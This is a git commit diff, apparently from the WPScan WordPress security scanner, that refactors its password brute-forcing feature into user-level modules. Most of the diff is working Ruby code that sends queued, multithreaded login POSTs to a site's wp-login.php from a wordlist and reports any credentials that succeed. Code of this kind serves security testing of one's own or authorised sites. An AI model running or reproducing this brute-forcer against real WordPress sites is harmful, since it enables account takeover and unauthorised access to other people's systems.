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BruteForcer moved in WpUser as a module

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This commit is contained in:
erwanlr
2013-04-12 21:52:33 +02:00
parent 777f06608b
commit 7db63bb3e0
16 changed files with 280 additions and 173 deletions
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3
lib/common/collections/wp_users.rb
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@@ -2,9 +2,10 @@
require 'common/collections/wp_users/detectable'
require 'common/collections/wp_users/output'
require 'common/collections/wp_users/brute_forcable'
class WpUsers < WpItems
extend WpUsers::Detectable
include WpUsers::Output
include WpUsers::BruteForcable
end

11
lib/common/collections/wp_users/brute_forcable.rb Normal file
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@@ -0,0 +1,11 @@
# encoding: UTF-8
class WpUsers < WpItems
module BruteForcable
def brute_force(wordlist, options = {})
self.each { |wp_user| wp_user.brute_force(wordlist, options) }
end
end
end

2
lib/common/hacks.rb
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@@ -64,7 +64,7 @@ end
# Override for puts to enable logging
def puts(o = '')
# remove color for logging
if o.respond_to?('gsub')
if o.respond_to?(:gsub)
temp = o.gsub(/\e\[\d+m(.*)?\e\[0m/, '\1')
File.open(LOG_FILE, 'a+') { |f| f.puts(temp) }
end

2
lib/common/models/wp_user.rb
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@@ -1,9 +1,11 @@
# encoding: UTF-8
require 'wp_user/existable'
require 'wp_user/brute_forcable'
class WpUser < WpItem
include WpUser::Existable
include WpUser::BruteForcable
attr_accessor :id, :login, :display_name, :password

110
lib/common/models/wp_user/brute_forcable.rb Normal file
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@@ -0,0 +1,110 @@
# encoding: UTF-8
class WpUser < WpItem
module BruteForcable
# @param [ String ] wordlist The wordlist path
# @param [ Hash ] options
#
# @return [ void ]
def brute_force(wordlist, options = {})
hydra = Browser.instance.hydra
number_of_passwords = BruteForcable.lines_in_file(wordlist)
login_url = @uri.merge('wp-login.php').to_s
queue_count = 0
request_count = 0
File.open(wordlist, 'r').each do |line|
line.strip!
# ignore file comments, but will miss passwords if they start with a hash...
next if line[0, 1] == '#'
request_count += 1
queue_count += 1
login = self.login
password = line
request = Browser.instance.forge_request(login_url,
{
method: :post,
body: { log: URI::encode(login), pwd: URI::encode(password) },
cache_ttl: 0
}
)
request.on_complete do |response|
puts "\n Trying Username : #{login} Password : #{password}" if options[:verbose]
if valid_password?(response, password, options)
self.password = password
return # Used as break
end
end
hydra.queue(request)
print "\r Brute forcing user '#{login}' with #{number_of_passwords} passwords... #{(request_count * 100) / number_of_passwords}% complete." if options[:show_progression]
# it can take a long time to queue 2 million requests,
# for that reason, we queue @threads, send @threads, queue @threads and so on.
# hydra.run only returns when it has recieved all of its,
# responses. This means that while we are waiting for @threads,
# responses, we are waiting...
if queue_count >= Browser.instance.max_threads
hydra.run
queue_count = 0
puts "Sent #{Browser.instance.max_threads} requests ..." if options[:verbose]
end
end
# run all of the remaining requests
hydra.run
end
# @param [ Typhoeus::Response ] response
# @param [ Hash ] options
#
# @return [ Boolean ]
def valid_password?(response, password, options = {})
if response.code == 302
puts "\n " + green('[SUCCESS]') + " Login : #{login} Password : #{password}\n" if options[:show_progression]
return true
elsif response.body =~ /login_error/i
puts "\nIncorrect login and/or password." if options[:verbose]
elsif response.timed_out?
puts red('ERROR:') + ' Request timed out.' if options[:show_progression]
elsif response.code == 0
puts red('ERROR:') + ' No response from remote server. WAF/IPS?' if options[:show_progression]
elsif response.code.to_s =~ /^50/
puts red('ERROR:') + ' Server error, try reducing the number of threads.' if options[:show_progression]
else
puts "\n" + red('ERROR:') + " We received an unknown response for #{password}..." if options[:show_progression]
# HACK to get the coverage :/ (otherwise some output is present in the rspec)
puts red("Code: #{response.code}") if options[:verbose]
puts red("Body: #{response.body}") if options[:verbose]
puts if options[:verbose]
end
false
end
# Counts the number of lines in the wordlist
# It can take a couple of minutes on large
# wordlists, although bareable.
#
# Each line which starts with # is ignored
#
# @param [ String ] file_path
#
# @return [ Integer ]
def self.lines_in_file(file_path)
lines = 0
File.open(file_path, 'r').each do |line|
lines += 1 if line.strip[0,1] != '#'
end
lines
end
end
end

2
lib/wpscan/wp_target.rb
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@@ -3,7 +3,6 @@
require 'web_site'
require 'wp_target/malwares'
require 'wp_target/wp_readme'
require 'wp_target/brute_force'
require 'wp_target/wp_registrable'
require 'wp_target/wp_config_backup'
require 'wp_target/wp_login_protection'
@@ -13,7 +12,6 @@ require 'wp_target/wp_full_path_disclosure'
class WpTarget < WebSite
include WpTarget::Malwares
include WpTarget::WpReadme
include WpTarget::BruteForce
include WpTarget::WpRegistrable
include WpTarget::WpConfigBackup
include WpTarget::WpLoginProtection

110
lib/wpscan/wp_target/brute_force.rb
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@@ -1,110 +0,0 @@
# encoding: UTF-8
class WpTarget < WebSite
module BruteForce
# param array of WpUsers wp_users
# param string wordlist_path
# param hash options
# boolean :show_progression If true, will output the details (Sucess, error etc)
def brute_force(wp_users, wordlist_path, options = {})
hydra = Browser.instance.hydra
number_of_passwords = BruteForce.lines_in_file(wordlist_path)
login_url = login_url()
found = []
show_progression = options[:show_progression] || false
wp_users.each do |wp_user|
queue_count = 0
request_count = 0
password_found = false
File.open(wordlist_path, 'r').each do |password|
# ignore file comments, but will miss passwords if they start with a hash...
next if password[0, 1] == '#'
password.strip!
# keep a count of the amount of requests to be sent
request_count += 1
queue_count += 1
# create local vars for on_complete call back, Issue 51.
login = wp_user.login
password = password
# the request object
request = Browser.instance.forge_request(login_url,
{
method: :post,
body: { log: URI::encode(login), pwd: URI::encode(password) },
cache_ttl: 0
}
)
# tell hydra what to do when the request completes
request.on_complete do |response|
puts "\n Trying Username : #{login} Password : #{password}" if @verbose
if response.body =~ /login_error/i
puts "\nIncorrect login and/or password." if @verbose
elsif response.code == 302
puts "\n " + green('[SUCCESS]') + " Login : #{login} Password : #{password}\n" if show_progression
found << { name: login, password: password }
password_found = true
elsif response.timed_out?
puts red('ERROR:') + ' Request timed out.' if show_progression
elsif response.code == 0
puts red('ERROR:') + ' No response from remote server. WAF/IPS?' if show_progression
# code is a fixnum, needs a string for regex
elsif response.code.to_s =~ /^50/
puts red('ERROR:') + ' Server error, try reducing the number of threads.' if show_progression
else
puts "\n" + red('ERROR:') + " We received an unknown response for #{password}..." if show_progression
# HACK to get the coverage :/ (otherwise some output is present in the rspec)
puts red("Code: #{response.code.to_s}") if @verbose
puts red("Body: #{response.body}") if @verbose
puts if @verbose
end
end
# move onto the next login if we have found a valid password
break if password_found
# queue the request to be sent later
hydra.queue(request)
# progress indicator
print "\r Brute forcing user '#{login}' with #{number_of_passwords} passwords... #{(request_count * 100) / number_of_passwords}% complete." if show_progression
# it can take a long time to queue 2 million requests,
# for that reason, we queue @threads, send @threads, queue @threads and so on.
# hydra.run only returns when it has recieved all of its,
# responses. This means that while we are waiting for @threads,
# responses, we are waiting...
if queue_count >= Browser.instance.max_threads
hydra.run
queue_count = 0
puts "Sent #{Browser.instance.max_threads} requests ..." if @verbose
end
end
# run all of the remaining requests
hydra.run
end
found
end
# Counts the number of lines in the wordlist
# It can take a couple of minutes on large
# wordlists, although bareable.
def self.lines_in_file(file_path)
lines = 0
File.open(file_path, 'r').each { |_| lines += 1 }
lines
end
end
end